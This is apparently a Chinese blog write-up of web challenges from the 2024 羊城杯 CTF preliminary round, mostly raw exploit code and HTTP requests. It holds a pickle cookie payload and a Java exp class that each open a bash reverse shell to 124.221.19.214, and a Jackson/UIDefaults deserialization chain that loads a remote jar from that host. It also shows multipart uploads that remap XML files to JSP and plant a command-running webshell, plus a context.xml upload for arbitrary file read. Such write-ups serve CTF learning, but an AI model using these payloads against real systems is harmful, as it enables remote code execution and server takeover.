CHHHCHHOH 's BLOG

羊城杯 初赛 2024 wp

Lyrics For You

先读出源码




直接自己加密一个pickle的payload发过去就可以了


import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
# from cookie import set_cookie, cookie_check, get_cookie
import pickle
import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str



class UserData:
    def __init__(self, username):
        self.username = username


def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid
def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None


def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid


def cookie_check(key, secret=None):
    a = '!Su3WkPNqaFOs7AKcRQ+ylg==?gAWVVQAAAAAAAACMBHVzZXKUQ0goY29zCnN5c3RlbQpTJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjIyMS4xOS4yMTQvMzIzMiAwPiYxIicKby6UhpQu'
    data = tob('!Su3WkPNqaFOs7AKcRQ+ylg==?gAWVVQAAAAAAAACMBHVzZXKUQ0goY29zCnN5c3RlbQpTJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjIyMS4xOS4yMTQvMzIzMiAwPiYxIicKby6UhpQu')
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
        return True
    else:
        return False


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
    value = '!Su3WkPNqaFOs7AKcRQ+ylg==?gAWVVQAAAAAAAACMBHVzZXKUQ0goY29zCnN5c3RlbQpTJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjIyMS4xOS4yMTQvMzIzMiAwPiYxIicKby6UhpQu'
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default


def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        print(value)
        # resp = make_response("success")
        # resp.set_cookie("user", value, max_age=3600)
        # return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')

    if len(value) > 4096:
        raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)


invalid = cookie_check("user", secret=secret_code)


data = get_cookie("user", secret=secret_code)
print(data)
if isinstance(data, bytes):
    print('111111')
    a = pickle.loads(data)
    print(a)
    data = str(data, encoding="utf-8")
# a = set_cookie("user", b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/124.221.19.214/3232 0>&1\"'\no.", secret=secret_code)
# print(a)
#EnjoyThePlayTime123456

ez_java

过滤了http和file,但是可以用jar协议来加载远程或本地的jar文件里的类,所以问题是怎么调用User#getGift来把我们的exp.jar加入UrlClassLoader


private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};
要绕过黑名单,POJONode#toString可以调用任意getter方法,然后我们通过UIDdefaults$TextAndMnemonicHashMap#get来调用toString

import com.example.ycbjava.bean.User;
import com.example.ycbjava.utils.MyObjectInputStream;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        User user = new User("jar:http://124.221.19.214:3232/exp.jar!/","test");
        POJONode pojoNode = new POJONode(user);
        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"1");
        map2.put(pojoNode,"2");
        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);
        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);
        HashMap hashMap = new HashMap();
        hashMap.put(map1,"1");
        hashMap.put(map2,"1");
        setHashMapValueToNull(map1, pojoNode);
        setHashMapValueToNull(map2, pojoNode);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);
        byte[] decode = Base64.getDecoder().decode(res);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(decode);
        MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
    private static void setHashMapValueToNull(Map map, Object key) throws Exception {
        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(map);
        for (Object node : table) {
            if (node == null) continue;
            Class<?> nodeClass = node.getClass();
            Field keyField = nodeClass.getDeclaredField("key");
            keyField.setAccessible(true);
            Object k = keyField.get(node);
            if (k != null && k.equals(key)) {
                Field valueField = nodeClass.getDeclaredField("value");
                valueField.setAccessible(true);
                valueField.set(node, null);
                break;
            }
        }
    }
}

生成exp.jar jar cvf exp.jar exp.class

import java.io.IOException;
import java.io.Serializable;

public class exp implements Serializable {
    public exp(){
    }
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIxLjE5LjIxNC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}


成功收到请求

序列化一个exp,发过去,靶机本地没有exp类,从我们的exp.jar!/去找从而执行静态代码块

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class aa {
    public static void main(String[] args) throws Exception{
        exp exp = new exp(); 
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);
    }
}


tomtom2

读conf/tomcat-users.xml得到密码登录后台,上传web.xml文件到WEB-INF文件夹下,让xml解析为jsp

POST /myapp/upload?path=WEB-INF HTTP/1.1
Host: 139.155.126.78:39459
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------72215817134490897562151607957
Content-Length: 2458
Origin: http://139.155.126.78:39459
Connection: close
Referer: http://139.155.126.78:39459/myapp/upload.html
Cookie: JSESSIONID=0CE5CC411F16BA3B2E7D847090C78846; JSESSIONID=235786C8AD0E1018D1679F97B361005E
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------72215817134490897562151607957
Content-Disposition: form-data; name="file"; filename="web.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">

    <!-- The definition of the Root Application Resources -->
    <display-name>Archetype Created Web Application</display-name>

    <!-- Default servlet for static content -->
    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- JSP Servlet -->
    <servlet>
        <servlet-name>jsp</servlet-name>
        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
        <init-param>
            <param-name>fork</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>xpoweredBy</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>3</load-on-startup>
    </servlet>

    <!-- Mapping for JSP files -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
    </servlet-mapping>

    <!-- Custom mapping for XML files to be treated as JSP -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.xml</url-pattern>
    </servlet-mapping>

    <!-- Welcome file list -->
    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

    <!-- Session configuration -->
    <session-config>
        <session-timeout>30</session-timeout>
    </session-config>

    <!-- Error page configuration -->
    <error-page>
        <error-code>404</error-code>
        <location>/404.jsp</location>
    </error-page>

    <error-page>
        <error-code>500</error-code>
        <location>/500.jsp</location>
    </error-page>

</web-app>
-----------------------------72215817134490897562151607957--

成功写入后原本的xml变成下面这样子


上传一个恶意jsp内容的xml文件

POST /myapp/upload?path=aa HTTP/1.1
Host: 139.155.126.78:39459
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------72215817134490897562151607957
Content-Length: 1097
Origin: http://139.155.126.78:39459
Connection: close
Referer: http://139.155.126.78:39459/myapp/upload.html
Cookie: JSESSIONID=0CE5CC411F16BA3B2E7D847090C78846; JSESSIONID=235786C8AD0E1018D1679F97B361005E
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------72215817134490897562151607957
Content-Disposition: form-data; name="file"; filename="test.xml"
Content-Type: text/xml

<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<!DOCTYPE html>
<html>
<head>
    <title>Execute whoami Command</title>
</head>
<body>
    <h1>Executing whoami Command:</h1>
    <pre>
        <%
            try {
                // 执行 whoami 命令
                Process process = Runtime.getRuntime().exec("cat /ffffffllllllaaagggg");
                BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                
                String line;
                while ((line = reader.readLine()) != null) {
                    out.println(line);
                }
                reader.close();
            } catch (Exception e) {
                out.println("Error executing command: " + e.getMessage());
            }
        %>
    </pre>
</body>
</html>
-----------------------------72215817134490897562151607957--

tomtom2_revenge

直接往一个META-INF里写一个context.xml,把/设置为静态目录

POST /myapp/upload?path=META-INF HTTP/1.1
Host: 139.155.126.78:39193
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------402226338831253187251392024063
Content-Length: 492
Origin: http://139.155.126.78:39193
Connection: close
Referer: http://139.155.126.78:39193/myapp/upload.html
Cookie: JSESSIONID=29DF05C4DE66156DE07514BD4A17BE64
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------402226338831253187251392024063
Content-Disposition: form-data; name="file"; filename="context.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<Context>
    <Resources className="org.apache.catalina.webresources.StandardRoot">
        <PreResources base="/" className="org.apache.catalina.webresources.DirResourceSet" webAppMount="/static" />
    </Resources>
</Context>
-----------------------------402226338831253187251392024063--

任意文件读取之后爆破flag就可以了

添加新评论